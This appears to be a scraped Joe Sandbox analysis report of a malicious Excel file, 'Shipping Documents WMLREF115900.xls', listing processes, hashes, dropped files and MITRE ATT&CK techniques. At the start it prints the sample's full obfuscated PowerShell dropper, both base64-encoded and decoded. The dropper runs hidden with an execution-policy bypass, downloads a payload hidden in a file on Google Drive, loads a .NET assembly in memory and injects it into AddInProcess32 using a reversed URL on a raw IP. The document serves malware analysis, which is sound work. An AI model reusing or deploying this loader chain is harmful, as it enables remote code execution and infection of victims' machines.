'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 3560, Parent PID: 2072

General

Target ID:	26
Start time:	02:45:57
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: AddInProcess32.exePID: 3496, Parent PID: 4000

General

Target ID:	27
Start time:	02:46:03
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x12f0000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3484, Parent PID: 564COMMON

Executed Functions

Function 02340FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.414934139.0000000002340000.00000010.00000800.00020000.00000000.sdmp, Offset: 02340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_2340000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: cb9bd332cabbfa30781f40634300193d715712d49588988efc873f45425694ec
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 02340FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.414934139.0000000002340000.00000010.00000800.00020000.00000000.sdmp, Offset: 02340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_2340000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: cb9bd332cabbfa30781f40634300193d715712d49588988efc873f45425694ec
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 02340FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.414934139.0000000002340000.00000010.00000800.00020000.00000000.sdmp, Offset: 02340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_2340000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: cb9bd332cabbfa30781f40634300193d715712d49588988efc873f45425694ec
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3568, Parent PID: 3484COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE899E4B18 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899E5AF0

Memory Dump Source

Source File: 00000005.00000002.446255808.000007FE899E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe899e0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: d4ec1fa22e562fb5aebe6dad859a9728c5447bf3d4ba4eb253134cf762295389
Instruction ID: ad9276440b22891a5bb24d439c2bf6839ecb524e2e23749e24ab6d705ed1d9ff
Opcode Fuzzy Hash: d4ec1fa22e562fb5aebe6dad859a9728c5447bf3d4ba4eb253134cf762295389
Instruction Fuzzy Hash: 6D317071918A5C8FDB58DF5CD8857A9B7E1FBA9711F00822ED04ED3662CB70A805CB81

Function 000007FE899E59E1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899E5AF0

Memory Dump Source

Source File: 00000005.00000002.446255808.000007FE899E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe899e0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 33e310c51a2d5861d1d7a805b3fc5fcd832c784f376f1f63ac64545609e4a5ad
Instruction ID: 17e8683374bc6adbb92050f82b04f152e9277bdf63e82c52da84c8a7dab42562
Opcode Fuzzy Hash: 33e310c51a2d5861d1d7a805b3fc5fcd832c784f376f1f63ac64545609e4a5ad
Instruction Fuzzy Hash: D241E27190DB889FDB1ADB6898447F9BBF0FB56321F04826FD089D3162CB646806C782

Function 000007FE89AB0858 Relevance: 1.1, Instructions: 1108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.446317268.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a8bbf60c988fb39e57dc71de413d088f2c4f7770e96f337568715178890fdc
Instruction ID: f990f37338827866c0675da67d866da78ac29ccb3ed1f2ce9c42a909aab45189
Opcode Fuzzy Hash: b4a8bbf60c988fb39e57dc71de413d088f2c4f7770e96f337568715178890fdc
Instruction Fuzzy Hash: D272E630A0CB894FDB59EB2C8494A757BE1EF5A744F1801EED48EC72A3DA24EC45C791

Function 000007FE89AB2CD9 Relevance: .7, Instructions: 706
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.446317268.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c4703799d0311633123ff9fee790dab6a7db7537879cc057d447807c370e03
Instruction ID: cbff5f2b7c815c544afd0085b2d389460efecf4d6e8840e62a04f113304c71d4
Opcode Fuzzy Hash: e9c4703799d0311633123ff9fee790dab6a7db7537879cc057d447807c370e03
Instruction Fuzzy Hash: 0B220530A0CB894FD799DB2C94546787BE2FF9A344F2401EED48ED72A3DA24AC56C741

Function 000007FE89AB1100 Relevance: .1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.446317268.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aea9fe2ccf3603f37ccf705d32995bd026ad1c7db0758b2f4499f8d05cd1541
Instruction ID: 2d08dc097913c6b1439a6d4b8b6e68b7428762cee7f032df24988539eb24682f
Opcode Fuzzy Hash: 8aea9fe2ccf3603f37ccf705d32995bd026ad1c7db0758b2f4499f8d05cd1541
Instruction Fuzzy Hash: C321060170DBC91FE34B937C29902657FD1EF4B258B3901EBE58EDB2A3D8084C658361

Analysis Process: mshta.exePID: 2600, Parent PID: 564COMMON

Executed Functions

Function 02E20FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.456450577.0000000002E20000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_2e20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b57f80ae63ba5102afb9b6bfbfd6e825482bfaa9c4c405bc8efd786affa5373f
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 02E20FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.456450577.0000000002E20000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_2e20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b57f80ae63ba5102afb9b6bfbfd6e825482bfaa9c4c405bc8efd786affa5373f
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 02E20FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.456450577.0000000002E20000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_2e20000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b57f80ae63ba5102afb9b6bfbfd6e825482bfaa9c4c405bc8efd786affa5373f
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shipping Documents WMLREF115900.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingstobegoodwithhislifebestthigns[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\goodthingswithgreatcomebackwithgreatthigns[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3C3140CD.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A3B4F527.emf

C:\Users\user\AppData\Local\Temp\0kghrs1a.fgj.ps1

C:\Users\user\AppData\Local\Temp\14qy4tzd.pbk.psm1

C:\Users\user\AppData\Local\Temp\1yj1uz5t.cmk.ps1

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.0.cs

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.dll

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.out

C:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP

Windows Analysis Report
Shipping Documents WMLREF115900.xls

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

